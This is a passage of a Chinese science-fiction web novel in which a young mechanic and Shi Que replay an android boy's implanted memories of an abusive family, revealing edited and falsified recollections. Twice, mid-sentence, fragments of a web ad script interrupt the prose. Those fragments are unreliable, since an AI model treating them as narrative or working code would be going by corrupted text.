她接受了沈司奥所说的可能发生的最坏的结果——需要再重做一次锚点,捏泥人似的,再捏出一次自己的弟弟。 正如时却所想的,花朵姐略仰起头,揩掉了眼角的一点湿意。 “你尽力而为,”她指示沈司奥,“我做好准备了。” 晨晨眼巴巴地抬头仰视花朵姐。 在这样的目光中,花朵姐视而不见,流利地念出一串命令码,语毕接道:“开放维修模式。” 男孩似小狗般湿漉漉的渴求眼神骤然消失了,变为平板无波的放空。他改换姿势,收束手脚,笔直而无趣地站定在原地。 做完这一切,花朵姐礼貌性地对时却和沈司奥略一点头,和壁虎离开了,全程再没有给近在咫尺的小仿生人哪怕一个眼神。 等壁虎和花朵姐远去,时却杵一下沈司奥。沈司奥没理她。 “生气了?给你道歉。”她抓抓脸,有些尴尬。 “我现在也有点不爽花朵姐。这么说你会好受点不?” 沈司奥斜眼:“详细说说。” 时却将她认为的花朵姐的细微情感变化一一交代,并问:“你是因为知道什么内情,所以……?” “不是。” 沈司奥神色复杂地摇摇头。 “晨晨的情况是可能不稳定,这我和你说过,对吧?” 时却默默点头。 “可绝不会那么不稳定。会导致这种情况产生,只有一种可能。” 沈司奥摊手,给时却看他掌心中的棕色纽扣。此前时却见有图案的那面没朝上,这个小玩意看上去平平无奇。 “这种东西,学名叫储存器。你之前算接触过,也算没接触过。” 时却快给沈司奥绕晕了。这不就是个U盘吗?她之前接触过的。“就那个粉色纽扣。”她道。 它储存有拍片团伙犯罪证据,包括流萤被迫拍摄的影像。 “储存器有很多类,U盘是一类,”沈司奥道,“而我手里这种,它常用于储存从尸体中抽取出来的记忆。很适合用于……机械师调教仿生人。” 时却一时没反应过来。 沈司奥继续补充:“正如我之前说过的,仿生人的社会化极为困难。不过我当时没提的是……如果有了人类的记忆,让仿生人脑部的程序根据这些记忆自行迭代、学习,再通过机械师作特定调教,就能相对容易地设立出特定的底层逻辑,即仿生人的锚点。” “……这和晨晨有什么关系?”和你怼花朵姐有什么关系? 时却开口,嗓子干涩得厉害。 沈司奥看着她,轻柔地说:“只有在初次设立锚点时,对导入仿生人脑内的记忆进行了相当的删减、扭曲、取舍,未来,锚点消失并再被试图稳固后,才会出现晨晨那种情况。” 他给掌中的棕色纽扣翻了个面,时却终于得以见到其上那个图案的全貌。 它的轮廓似核桃,内部间隔布有蝌蚪般弯弯绕绕的短线条,以中线为轴,左右对称。 这图案是个——人脑。 39. 、[姐 时却问沈司奥要过那棕色纽扣,手指轻轻压在人脑图案上;细密而无法让人忽略的触感传递到脑中,她头皮发麻。 “你们——” 张口才说出这两个字,时却悚然一惊,止口不言。 她停下,是惊觉自己想表达的对此事的评价,竟差点以“你们人类”为开头。 既然是“你们人类”,那想当然地,就会有“我们仿生人”。 这才……短短几天。 时却将棕色纽扣扔回给沈司奥,抚上晨晨给她戴上的草编戒指。 那戒指粗糙简陋得很,是由多根略有些发黄的草杆相互纠缠而成的环型。 在这环形轨迹上,不时有毛糙的分叉倾斜呲出,给佩戴戒指的人带去些不大不小的麻痒之意。 时却不至于还认为自己是人类,对于脑中记忆的态度,也转变为了可以作为工具来使用。于是,顺理成章地,一个现况浮出水面: 她对“仿生人”这个她应当所属的群体,认知颇少。 时却摘下手上的戒指,收好。她绕晨晨转上几圈,在他脖颈后看到了显露出来的接入口。 她伸手在晨晨眼前晃了几下,后者呆若木鸡,毫无生气。 “我没听到花朵姐念命令码。”时却道,“不该和你之前一样,巴拉巴拉念一大段么?” 沈司奥:“命令码的存在形式很多样,声纹是其中一种。” 他投出全息屏幕和键盘,对着寥寥几行代码噼里啪啦地敲了一会键盘。 工作台的桌面一角凹陷下去。随后,那处原位升起一个凸台,凸台正中央有个碗状缺口。 伴随细微的因下落而引起的撞击声,棕色纽扣被放入到碗状缺口内。 它一触及缺口的底部,整个缺口如同守株待兔到小虫子的捕蝇草,倏忽闭合,迅速填平整个凸台表面。 工作台的内部传来嗡鸣声,仿佛有成千上百的细小机械部件开始运转。暖意同步逸散开。不过五六秒,相较于冷冽的周边环境,工作台的温度至少上升了十度。 时却将手随意贴在台面某处上,掌下的温暖进一步印证此事。 工作台此前从没有过类似的表现,时却还以为沈司奥不管用它干啥,都会是安安静静的画风呢。 ……总之这个,和笔记本电脑因运行大型3A游戏而风扇大作,温度狂飙,应该是一回事吧? 在她短暂思考的时候,工作台的温度没有停下增长。 “别走神,别碰太久,”沈司奥道,“马上会更烫。” 时却倒觉得还好,想这具身体反正皮糙肉厚的,等觉得烫了再撒手也不迟。 见她左耳朵进右耳朵出,沈司奥拿手背去扫时却的那只手。 他没怎么用力,轻轻的,因此这个“扫一下”的动作,纯粹仅带有进一步的提醒意味。 不过……正如多次表现出来的那样,对于一切和应用肉/体力量扯上关系的动作,年轻的机械师都最多只能拿个及格分。 时却敏锐地察觉到,他没控制好自己的手划过来的温度,反而有几个指节会蹭到台面上。 而的确如沈司奥说的,工作台愈发热了。 在主人的意愿下,她那只贴着台面的手反过来虚拢住年轻机械师的手腕一瞬,再推开。 “你靠的才太近了。” 她撇嘴,然后得到了沈司奥的挑眉微笑。 时却:“……” 靠,沈司奥目的达成,她上当了。 这个小插曲结束后,沈司奥搓搓因长时间暴露在冷风中而有些发僵的双手,从工作台的一个抽屉里掏出副薄薄的黑色手套,再由桌面上抽出一根数据线缆。 咔哒。数据线缆和晨晨的接入口连上。 空气中,原本安静且内容显示量不多的全息屏幕发出数声滴滴。 如同暴雨从天穹顶部瓢泼、倾盆而下,大量幽蓝色的01代码井喷,飞也似的流转。 约半分钟后,全息屏幕的最下部发生了明显的扭曲和虚化,边沿也变为不详且鲜艳的血红色。 这异象跟腐烂的伤口似的,逐渐缓慢而坚定地向上蔓延。 沈司奥瞪大了眼睛,伸手去碰屏幕变得异常的部分。 自然,他的手径直穿过去,摸了个空。 毫不掩饰地,这个未成年响亮地骂了一句脏话。自时却认识他以来的第一句脏话。 他近乎咬牙切齿地喃喃:“居然敢做这么大幅度的更改……” 对当前发展,时却丈二摸不着头脑。 可以确定的是,当初经手晨晨的机械师如果在场,她毫不怀疑沈司奥能不知从哪再摸出一安瓿的扎李哥同款毒药,给对方多少扎上点。 沈司奥沉着脸深呼吸几下,稍缓和了情绪,才指着还在往上蔓延的异常,道:“在它稳定之前,我什么也做不了。” 时却看一眼依旧呆滞的晨晨,问目前是怎么个情况。 沈司奥略显烦躁地捋了一把头发。 “在正规构建仿生人锚点的方式里,如果要用到死者的记忆,那么这记忆只能以时间为轴,被依需求截取。” “比如:1月1日,A和男友求婚;3月1日,A和男友分手;6月1日,A和男友复合;6月2日,A死亡;6月3日,男友提取了A的记忆,将其交给机械师,要做一个陪伴型仿生人,还要求那个仿生人认为自己是A,二人一直相爱,那么……” 他看了一眼全息屏幕,见屏幕上的异象还未停滞,才继续道: “对那个机械师而言,从A记忆中提取的作为仿生人训练的素材,只能是A在3月1日之前的记忆。” 时却察觉到他话中的想落点之处。 “A和男友3月1日分手,这一日发生的事情是即不能输入给仿生人,也不能被修改或跳过?” “是。”沈司奥点头。 “一项一项来说。对于直接输入而言,一旦这个记忆被用于训练构建仿生人的锚点,自然会和男友要求的‘二人一直相爱’产生冲突。所以,这个事件不能被输入。应该很好理解。” “其次,如果修改——或者说虚构了——这一天的记忆,比如将分手事件替换为其他乱七八糟的,出去吃饭,出去购物事件,那么对于3月1日前‘记忆’均正确的仿生人来说,其底层逻辑的内核会变得极不稳定。” “即便最初可以正常运行,后续运行时、锚点消失再被重构时,都可能产生自我矛盾进而崩溃的情况。就像晨晨现在这样。” “再详细一点吧,3月1日,A因为抓到男友出轨,才和他分手,那么在现实中,‘男友可能出轨’这一想法,大多会在3月1日前就有诸多蛛丝马迹;并且,由A的过去所构建出来的,3月1日时间点上的那个A,大多是一个发现对象出轨,就会选择分手的人。” 时却试图总结:“你的意思,比如,呃,如果A暗自查了男友很久,还决定3月1日去抓奸,结果仿生人的记忆却显示,第二天他们一起去吃了蛋糕,这样仿生人自己会觉得,嗯,很奇怪?” “差不多。”沈司奥道。 “如果一件事是此前种种累加所导致的大概率结果,它 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却在作为训练仿生人素材的‘记忆’里变成了其他东西,矛盾自然会在仿生人的自我学习和迭代中产生,进而成为埋在其锚点里的一颗不定时炸弹。” “而且,伴随修改记忆而来的虚构填补,并不容易。人类大部分的记忆,尤其是过去的记忆,总会随时间流逝而变得模糊、细节不清。” “可经过特殊处理被存入储存器中的记忆不是的,它会异常清晰。换言之,仿生人被输入的记忆数据也很清楚,因为这个,加上它们脑中的底层逻辑在迭代和演化时,这种迭代和演化同时还伴随着反向……” “那个,”时却蚊香眼,不得不打断他,“你能用更简单些的……” “对不起。”沈司奥按按额角。 “你可以这样理解,构建或后续启用底层逻辑时,仿生人会调动被输入脑中的记忆,在瞬间进行多次迭代和演算。” “基于这个动作,A的仿生人会回顾、思考: ‘自己和男友3月1日去吃了蛋糕’,哦,哪家蛋糕店?吃的哪一款?什么外观?什么颜色?为什么自己当初会选那一款?是因为口味合适吗?自己当初怎么想的?” “这就是重点。人的选择是多种要素共同作用的结果,但记忆画面只能反应出一个人做过什么,不能反映出那个人的想法。” “被编码在储存器中的记忆,不会说话,反而是作为机器的仿生人,能凭借多次迭代和长时间的学习,窥见记忆所属灵魂的一二所思所想……对不起,又扯远了。” “总之,机械师要编造记忆,唯一可参考的只有A的记忆。” “如果A从前总喜欢吃草莓蛋糕的人,机械师大概率只会将虚假记忆里的蛋糕设置为草莓蛋糕。可假设真实的A,她是个遇到苦事就喜欢吃巧克力蛋糕的人呢?” 时却脱口而出:“如果A因为男友出轨,最近感觉很郁闷。那仿生人会觉得不可思议,为什么3月1日我没有捉奸,反而还去吃了草莓蛋糕?!” 沈司奥轻轻呼出一口气。 “大概就是这个道理。接着说,如果跳过3月1日的记忆,如常输入后续的记忆,那么你应该可以理解了,那对于机械师来说,需要修改、虚构的记忆更多,会更难办。” 的确。那要补的窟窿更多。 时却不禁掏出被她收好的晨晨的草戒,又看了看,再收回口袋。“照你的说法,晨晨的底层逻辑里,有‘草莓蛋糕’。” “不止有,可能很多。” 沈司奥将视线移到屏幕上。 又过去数十秒,那血红的扭曲和虚化异象,终于不甘地中止。这异象盘踞在屏幕的下部,让整个屏幕的足足三分之一变得无法辨别。 沈司奥低气压,噼里啪啦敲键盘。 “我让锚点总结一下认为自身逻辑中最矛盾的地方,”他飞快地说,“看它迭代推算出了什么,才会今天又变得这样不稳定。” 约两三分钟过去,此起彼伏的敲击声戛然而止。屏幕被清空,其上变得一干二净。 然后,有字一个挨一个地跳动出来。 ……像不得已贮存了过多秘密的鼓囊蛇皮口袋,被放松了原先系紧的皮筋,立即迫不及待地往外吐露出其内容物。 [姐]、[姐]、[是]、[个]、[贱]、[人] ……姐姐是个贱/人? ……花朵姐? 时却一悚,手下意识再次去摸那个被收好的草戒。 她大概摸到了哪处麻麻赖赖的地方。 有一线稍显锋利的草的边缘,轻轻地刺了她的手指。 40. 虚假 闪烁的光标不再移位。 “姐姐是个贱人”,这六个字静静地漂浮在半空中,和晨晨片刻前对花朵姐的亲近形成鲜明对比。 “难怪锚点是这个状态。” 沈司奥右手横在胸腹前,左手支着下巴,若有所思。 “完全和期望设定相悖的矛盾……”他喃喃着,食指略伸开,不甚有节奏地点在脸颊侧。 时却不想打扰沈司奥思考,这会也没什么心思放空或发呆,便再去打量晨晨。 仔细一看,这个男孩今天的一身白,和昨日的所见没有差别。 这种没有差别,不单指颜色,还包括款式和细节。 衣领的制式、纽扣的形状和花纹、裤脚垂覆在鞋面上的长度、白鞋上的花朵等等。 时却再次绕晨晨看半晌,纠正自己的结论:晨晨,他要么就是昨天的一身打扮,根本没换过,要么,花朵姐至少给他准备了两身一摸一样的白茫茫套装。 如果是前者,那没什么好说的;冬天,又在区外,条件有限,晨晨和花朵姐还明显受壁虎庇护,不需要奔波,一身衣服穿几天很正常。 如果是后者…… 时却弯下腰,连根薅上一把草,掐掉带泥土的根部,胡乱选个不常用的口袋塞了,参考晨晨的草戒,笨拙地编起来,打发时间。 她的手指在细长的黄绿色中稍显迟滞地穿梭,愈发娴熟。 等她第三个草戒编到一半,沈司奥有了动作。 不知他输入了什么指令,工作台的侧面传出一阵机械咬合声。 那传出响动之处局部裂开,形成多个仅有指头大小的椭圆图案。 沈司奥一一按过那些椭圆图案。 伴随起此彼伏的“咔哒”,这些椭圆图案纷纷独立地弹出。 每块椭圆图案后,均黏附着数根肉红色丝线;它们错落地垂成下凸的弧形,每根仅有头发般粗细。 时却问这是要干什么。 沈司奥回答,他想尝试以被分析的数量为降序排序,从前到后捋一遍最初输入到晨晨体内的记忆,看能否找到某个地位特殊的片段。 它应该是一个……与‘姐姐是个贱人’这一结论最相关的片段。 他可以将这片段删除,再让锚点重新迭代,观察锚点是否能就此认为矛盾之处再不存在。 “这是别无选择的饮鸩止渴。”他面露无奈,如此评价这个方案。 以实体的椭圆部分为抓持点,他将那些一束肉红色丝线牵出,一手撩开晨晨的头发,抓握的手凑近。 待他松手后撤,似磁铁与金属之间的相互吸引,椭圆部分牢牢地贴在晨晨头上。 沈司奥重复数次,直至所有的丝线全被牵引出,连接晨晨和工作台。 他造就了一副即奇特又诡异的场景。 银白月光下,任由冬日夜风呼呼穿梭的全无遮掩物的草地上,一身白衣的男孩静默站立在工作台旁。在泛着冷光的金属桌与他之间,蜘蛛网般的肉红色丝线数也数不清,密密匝匝地垂吊。 全息屏幕浮在其中的部分丝线之上,白底黑字,塞满你挨我挤的代码,下三分之一被血红的大手捏攥住了似的,尽是无法辨别的扭曲虚化字符。 这幅光景乍一看上去,只让人感觉男孩是一具受人控制、无法自主的傀儡。 事实也是如此。 时却又想到一件事情。 无疑,这极为科幻的一面,证明这个世界在仿生人技术方面发展得极为精深。 可回想数天来的所见所闻,似乎只辐射防护用品、医疗装置、人工智能、仿生人和智能终端,还有个她没怎么深入了解的全息游戏第二人生,符合她对未来世界的想象。 其他的,像出行工具啦,武器啦,日用品之类的,均不存在太多让人觉得眼前一亮的改变。 ……也许还是因为辐射的缘故,这个世界的科技树才优先点选了这些东西。 她暂且得出了这么个结论,清楚这会不是走神的好时机,强制自己从莫名展开的思绪中回神。 沈司奥操作一番,调出了第二面屏幕,和最先的屏幕并排。 为便于区分,时却决定管第一面叫主屏幕,第二面叫副屏幕。 她仰头,在键盘起落声中沉默地等待。 不多时,工作台的温度逐渐下降。 这大概是什么预兆,当这温度趋于室温,一阵刺耳的电流声后,副屏幕上遍布雪花点,几秒后变为一片漆黑。 “我抓出了那些被引用或分析次数较多的记忆,时间不多,只能从那里面选目标片段了,”沈司奥说,“挺巧,前几段还能按时间先后排顺。” 他一顿,继续道:“如果这些记忆中的部分需要被删除,晨晨可能在记忆被删除时失控。” “假如他只是举动怪异,枪击他的心脏;如果他对我或你表露出任何形式的攻击意图,枪击他的头部。” 时却点头,表示了解。她希望事情不会发展到这个地步。 夜风吹拂,主屏幕上的代码开始自上而下地缓慢滚动,副屏的中心出现一点白色亮光。 那亮光逐渐扩大,显出三人:一对夫妻和一个看上去约十岁出头的女孩。 他们正在一个不大的客厅里吃饭,晨光越过玻璃窗外刚刚抽芽的树枝打在饭桌上,照在这一家子的早餐上。 妻子和女儿手里各捧了一个红薯。丈夫面前是一碗有浇头的米饭,桌上还有以素为主,油水不多的两盘菜。 明明菜色简陋,男人手边却还有三瓶开了盖的酒,两瓶空了,一瓶还有大半。 他从脸到脖子都红了,直接对瓶吹,咕咚咕咚喝着。 画面向下一转,屏幕的两侧边缘分别探入两只藕般的小手,白嫩稚气,是专属于学龄前儿童的未长成形态。 晨晨的眼皮子下是一小碗白粥。他手上还抓着个白馒头,馒头的一角被咬出了个缺口。 画面左右转了转。伴随着晨晨的视线,这个家庭的进一步现况在时却和沈司奥面前徐徐展开: 四面的墙上贴着泛黄老旧的墙纸,周边的家居看上去都颇有些年头了。 唯一值得称道的是,这个家的空间稍拥挤,却不显得逼仄,琐碎物件被人收拾得井井有条。 餐桌上,妻子小心翼翼地觑一眼自己身边的丈夫,抬头给女孩夹了一筷子菜,衣袖滑动间,露出小臂上几块青紫程度不一的淤青。 女人黝黑瘦弱,腮帮子两颊几乎没有肉,深深地凹陷了进去,手上有明显的劳作留下的厚茧。 她神情疲累,不过仔细看,仍算相貌不错,和时却与沈司奥见到的花朵姐,有三四分像。 “花朵,最近在学校怎么样?”女人问。 女孩——应该说花朵姐——眨巴眨眼睛,撅起嘴。 她剃了个短得可见头皮的寸头,穿肥大不合身的黑色长袖长裤,身上未显出任何第二性征,相较时却认识的模样,更像个假小子。 饭桌边上的椅子都是成人适用的高度,没有儿童椅,花朵坐在上面略高。 她嫌弃地摇晃着双腿。 “妈,那些书我看不进去,没意思。有啥用呀它们,还不如我在外面掏的鸟蛋呢,是吧,爸?” 她望向坐在女人边上的男人,男人唔了一声,红着脸,也不知有没有在听,总之敷衍地点点头。 嫌热似的,他脱了外衣随手扔到地上,只穿着一件白色背心继续喝酒。他即不健壮也不瘦弱,只是比自己的妻子儿女都体格都强而已。 他的白色背心上印有一只黑色的蝎子。 在男人脱外套时,从晨晨的视角,清晰可见女人打了个寒战,手里的筷子差点没握住。 等男人动作完,女人忙丢开手里的碗筷,低眉顺眼地去拾了外套,找地方挂好,再回到餐桌上。 女人低垂着眼,低声道:“刚才——刚才说到哪儿了?” 花朵若无其事地继续,用筷子从汤里戳出一个小小的鸟蛋,炫耀似的举起来:“喏,妈你看。这就是我昨天掏的嘛,你也知道的。来,晨晨给你。” 她将筷子搭在晨晨的碗边沿上,轻轻一划,叫带着孔洞的鸟蛋提溜转到碗底。 画面外传来小男孩特有的嘻嘻笑声。 “谢谢姐姐!”晨晨开心地叫,伸手去抓那鸟蛋,一手馒头一手蛋,轮着往嘴里送。 “姐厉害吗?”花朵逗他。 晨晨脆生生道:“厉害!” “那你——”花朵得意地拖长语调,“你想要个闷在屋子里不带你出去玩的书呆子姐姐,还是要个能给你掏鸟蛋的姐姐?” 画面外响起咀嚼音。 晨晨砸吧着嘴:“要鸟蛋!” “妈,”花朵得意地放下筷子,“你瞧。” 女人面带苦涩地劝:“唉,你这孩子!晨晨才四五岁,他懂个什么呀他,你基础教育得搞好,才有资格后面进专精学校,不然就像妈妈一样,只能到赌场去……” 说着说着,她手里的碗底登的一声磕在桌上,显然是有些急了,语调也渐高。 她没留意到,边上的男人听到后面,喉咙不住吞咽酒液的动作一顿,抓了此前喝空了的一个酒瓶,醉醺醺的眼睛转向她。 花朵留意到了。 男人扯了扯嘴角,刚要开口,她打断女人,尖声道:“你说什么呢妈!爸教我打猎不就好了!” 她看向饭桌上的男人,跳下椅子,噔噔跑到男人边上,抱住他的胳膊摇晃撒娇:“爸,你说是不?我基础学校毕业了,你就带我到区外去,我想学打猎,或者也加入蝎子,和你一样厉害。” 女人咬咬嘴唇,小声道:“几岁了,别在你爸身上爬上爬下。” 男人意味不明地看了她一眼。 他抹抹嘴,抓着空酒瓶的手松开,往嘴里灌了口酒。 他敲敲脑袋,犹豫地想了想。 “花朵,你,”他大着舌头说,“你和晨晨吃完了吧,把晨晨带到你房间里去,关上门。” 花朵语带乞求:“还没吃完呢,爸……” 男人说:“滚进去。” 朝阳下,女人身形立时僵住。 她的胸脯急促地起伏几下,归于认命般的平缓,沉默地收拾起桌上的碗碟。 花朵放下碗筷,迅速爬下椅子。 期间,因动作过于急促,这女孩的脚背还在两条椅子腿之间的横木上磕巴了一下,差点没摔倒。 她将晨晨抱下椅子,抓他的手,拽他进房。 摇晃的画面里,被抱下椅子整个过程中,晨晨和靠近自己姐姐的脸靠得极近。 近到花朵抖动的下巴和微红的眼圈在画面中一览无余。 晨晨一直扭头向后,看母亲的身体微微颤抖起来,父亲最后还是重新抓上了那个空酒瓶的细细的脖颈处。 他距离这两人越来越远。 被姐姐拉进房内时,他还在回头看。 房间门啪地一声,在他的面前关上。 房门是木质的。几乎是在门锁咔哒的瞬间,一门之隔的客厅里传来混杂在一起许许多多的声音: 什么东西击打而造成的沉闷声响。 什么东西掉在了地板上,然后骨碌碌地转了起来。 皮带鞭打肉/体。女人的哭泣和尖叫。 ……还有男人粗野的叫喊: “你还嫌弃起老子!你当初在赌场里,就是个没多少钱就能给人睡的——” 整个画面倏忽一黑,一切归于寂静。主屏幕的代码滚动戛然而止。 沈司奥推推眼镜:“这段记忆结束。” 时却问他,花朵姐的真名是否就叫花朵。 沈司奥否认。“这种细节,属于记忆里可以批量替换的范畴。” 他继续播放晨晨的下一段记忆。 主屏上的代码继续滚动。副屏幕骤然亮起。 大约是夏日午后的一个菜市场,烈日下,花朵带晨晨去买菜。 画面的左摇右摆,以及伴随着摇摆而生的咚咚急速心跳和喘息声,均昭示出在一个四五岁的孩子眼里,熙攘的人群有多么可怖。 “新鲜的野菜,刚刚处理过的,四级,实惠得很!” “工厂处理的罐头哈,三级品,来看看,来看看!” “无窗屋子里养出来的鸡鸭鹅,要一只吗?要吗小妹妹?” 晃眼的阳光下,吵闹的揽客声中,晨晨仰头,挨挨挤挤的陌生人下巴流水线似的急促划过。 他的视线略一低,又见很多条不同颜色的裤管匆匆地摆过眼前。这些粗细不一的条状物彼此交错,每个眨眼间,都近乎罗织成眼花缭乱的网。 每一张网,均形态各异,朝他张牙舞爪,好似下一秒就要铺天盖地地罩过来,将他扣死在原地。 他再尝试低头。 这不是个好法子,很多东西他都看不见了。他连几秒钟都没坚持到。 菜市场的道路上污水横流,每几步就有脏水坑。 晨晨每每因年龄太小迈不开步子而踩中一个,鞋子就脏上几分。 花朵走在他前头。 这个人女孩麻杆似的手腕从洗得发白的黑色T恤袖口中支出来,左右都拎了沉甸甸的菜,分身乏术。 她的后背有块极大的深色区域,那是被汗水洇湿的部分。 或由于力气不足,或由于被行人撞到,她细瘦的两条腿不时撞在鼓囊的菜袋上,她的速度并不均匀,甚至可以说有些踉跄。 而对于晨晨来说,他需要紧紧地抓住自己姐姐的衣角,才能亦步亦趋,避免被人群挤散。 他太小了,手上力气也不够,姐姐的衣角数次从他小小的掌心里滑落。 好在,他们运气不错。这种滑落,幸运地并没有发生在姐弟二人穿梭于人群最密集处时。 在某次衣角又遛出手心后,晨晨急的跺跺脚,干脆大哭,一屁股坐在地上不走了。 泪水模糊了屏幕的画面。 有谁靠近,有什么作刮擦状。 画面稍微清楚了些,花朵的脸放大出现。 女孩收回手,额头泛着一层晶亮的薄汗,呼哧呼哧喘着粗气,看上去也累得不行了。 “不怕不怕,姐姐在呢。”她强撑着安慰,“姐姐不会丢下你的。” 晨晨呜呜哭得上气不接下气,翻来覆去地嘟囔:“菜市场讨、讨厌。” 花朵眼圈一红,吸吸鼻子,也不管弟弟能不能听懂,只低低喃喃:“没办法啊晨晨,妈妈的工厂最近常常加班,不买菜的话,妈妈回来弄得时间晚了,又要被打。” 她大概也到极限了,流着泪和晨晨絮絮叨叨许多事情,包括: 她是逃课来的;她还不敢放任晨晨自己在家,那样父亲就和晨晨独处了,这个男人不打孩子,但他同时也没带过孩子,谁知道会发生什么? 在大马路边,很快,两个孩子就这样,为各异的理由,面对面地嚎啕大哭起来,直到屏幕再次变暗。 “后面的几段时间都不长。”沈司奥说。 第一段,还是盛夏时节,应该为中午时分,太阳火炉般挂在天空上,空气中不管往哪个方向看,都能见到翻滚的热浪。 花朵行色匆匆地走在晨晨前头,还是提了许多菜。 她看上年长了一两岁,打扮和从前没什么不同,区别只在于胸脯稍鼓起。 在一个街角,她停下脚步,有些出神地望着马路对面。 那儿站着一个和她年纪相仿的女孩,亲密地挽着应该是自己母亲的另一位女人的手,在等红绿灯变灯。 女人给女孩撑着遮阳伞,女孩没露出脸,留一头及腰长发,穿着白色的无袖连衣裙,裙角有一圈浅色的小花。 她伸出于裙外的皮肤光滑白皙,让她看上去秀雅又闲适。 “姐姐,”晨晨跟上去,“你在看什么?” 花朵略有些失神,晨晨又问了一遍,她啊了一声,才说:“我……看她裙上的花朵真好看。” 她显然是进入了变声期,说话的声音较此前变得尖且细。 屏幕变暗,然后迅速进入了晨晨的下一段记忆。 这一段记忆发生在一个房间里。 由于最初那段记忆里,晨晨没往姐姐的房间内看,时却起先还不太确定,这是否是花朵姐的房间。 很快,她确定了,这是花朵姐的房间。 房间有一根被横吊的晾衣杆,上面晾了两件洗得发白的黑色T恤,看大小,正是前两段记忆里花朵姐穿过的尺码。 年少的花朵也在这段记忆里,她有些疑惑不解地看着自己的弟弟。 “怎么了,晨晨?” “我问爸爸要到钱,买了件白衣服和蜡笔,”晨晨快活地叫道,“姐姐,我们来往上面画小花吧!” 记忆至此,戛然而止。 时却先去看停止滚动的主屏,再望着黑下来的副屏,惊诧道:“等等,这就没了?” 沈司奥向上翻找了几页主屏上的代码,皱眉:“被剪掉了。花朵姐可能不想让她那时的反应成为仿生人的训练素材。” 无奈之下,二人只得继续往下播放记忆。 第三段,副屏幕还未显出任何画面,一阵喧闹先行传出。 时却仔细分辨,是热闹的行酒令,听音量猜测,得多人凑到一起才能达到这种效果。 画面逐渐清晰,果然显出一幅聚会场景。 这是一个类似单身公寓的地方,七八个蝎子的人聚到了一块吃饭,烟气和火锅气混杂在一块,袅袅上升,撞到天花板上,而后散开。 同样散着的还有一地的酒瓶。 晨晨坐在角落里,面前是一些被拆开的枪械部件。 他的父亲背对他,正和其他人高声谈笑。 他拿取部件时发出的响动,让时却很容易地判断出它们的重量,进而认定,那都是些真家伙。 成人们调笑间,有人粗声粗气地嚷: “喂喂喂,哥们,你怎么带起孩子了?” 立即有人不知是好意还是坏心地解释,说男人的妻子得了I型辐射病,现在肿得不似人形。 “所以不能放任小孩在她身边啊,”男人醉醺醺地说,“谁知道这种时候的女人会干出什么。” “你不是还有个女儿?叫什么来着,哦,花朵,哈哈,小姑娘可越长越漂亮了。” 男人轻飘飘道:“女儿?住校了。她老逃课,成绩也不好,老师找我谈话,说建议给她办什么,带强制措施的住校,免费的,一个月只能出来一次那种。” “她妈同意了,我无所谓……为人父母,可不容易哦。来,晨晨,过来。” 晨晨顺从地照做了,靠近这群人。 男人一巴掌扣了下来,画面摇晃得剧烈。他应该是手拍在了晨晨脑袋上。 “说说,”男人笑嘻嘻道,“爸爱你不?” 画面极快地闪了一下。晨晨眨了眨眼。 他扑进男人怀里,用孩童特有的软糯咯咯笑,大声说:“晨晨最喜欢爸爸!” 男人的朋友们受不了了,敲杯子的敲杯子,起哄的起哄,直叫“好肉麻”。 等他们对此事的兴头差不多过去,晨晨得以重回小角落里。 至此,这段记忆仍未终结。众所周知,酒局是很漫长的,男人们胡天胡地地吹起口水话。 时却颇有些不耐烦。 “一段记忆里的每一帧都有不同的分析权重,”沈司奥道,“我再调整一下,调高权重低帧数的播放倍速。” 时却没太听得懂,只知道沈司奥略做调整后,原本均是正常播放速度的记忆忽然有了快慢之分。 一些一看便知不需要太过留意的部分,以极高的倍速略过了,不再会占用太多时间。 回到晨晨的这段记忆上。 酒过三巡,众人大开黄腔,大抵讲虽然按规矩不允许,但他们通过种种手段,将赌场里的女荷官玩上了手。 女荷官们多也有不少“恩客”,有的收价还挺高。 这些人挤眉弄眼,嘴里污言秽语不停,直呼她们全是“一群婊/子、贱/人”。 时却熬得度日如年,才等到这段记忆结束。 她刚松一口气,不想从这往后的数段记忆均不按时间顺序排列了,完全是随机放送。 她和沈司奥讨论着,花了点脑子,才根据记忆中的蛛丝马迹,整理顺当自那场酒局后,晨晨的遭遇。 那天过后,晨晨和花朵姐的母亲很快因病去世。 几年后,晨晨进入专门负责实施基础教育的学校,没有住校。他的成绩不错。 再几年后,花朵姐临近毕业时,他们的父亲死于发生在赌场里的一次械斗中。 值得一提的是,接下来的记忆里,壁虎出现了。 他作为蝎子派出的抚慰人员,给这个只剩下姐弟二人的家庭带来了一点抚恤金,不多不少,刚够晨晨接下来几年作为无收入学生的生活花销。 花朵姐在学校的成绩足以让她接受高等教育,然而她和晨晨算了一下家里的积蓄,发现它不足以令他们之中的任何一个人,在从基础学校毕业后,继续接受任何一种教育,甚至缺口很大。 接着,以父亲去世后家中无人为理由,花朵姐为晨晨办理了住校——就是此前她父亲为她办过的那种,带强制性,一个月只能出校一次。 过了几天,花朵姐托老师告诉晨晨,她去食品工厂当了女工,晨晨住校时,他们可以通过智能终端联系。 随后,记忆以较大的时间跨度,播出了一个看似平平无奇的短小片段。 在出校日的前一天,晨晨不住校的一个同学神神秘秘地告诉他,附近周边地区突然冒出来个流窜的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 强/奸犯,专门在深夜对少男少女们下手,至今未被逮住。 “总之就是这些情况了。”沈司奥说。 时却觉得他们整理出的信息怎么看怎么别扭。 她将这感觉说明,得到沈司奥古怪的一瞥。 “还好吧,”他道,“你看到晨晨在一些片段中的表现了,挺会咯咯笑的。” 时却抓抓脑袋。 “怎么说呢,就是……” 她接触到的晨晨,是个可爱的孩子,她总觉得被灌输了这样经历的仿生人,无法迭代出无忧无虑的样子。 沈司奥了然,轻声道:“你有没有想过,他可以装成那样。” 夜风中,时却悚然,后背爬上说不清道不明的颤栗,胳膊上暴起一层鸡皮疙瘩。 她忘记了,或者说一时没想到,既然大人能种种缘由而伪装自己,那孩童怎么不可以? 一个孩子,他怎么不能——在一个沉重的家庭氛围中敏锐地意识到强势者的需求,进而通过观察和学习,揣着明白装糊涂,伪装成他人想要的天真模样? “不用太纠结,”沈司奥说,“别忘了,第一,我们见到的片段,只是晨晨记忆的沧海一粟;第二,这里面还有很多‘草莓蛋糕’。” 他们即未窥全局,这些记忆又存在许多被删改之处。 这些因素如同一面又一面轻纱,层层叠叠地覆盖、重叠,形成对于他们而言几近不可解的谜题。 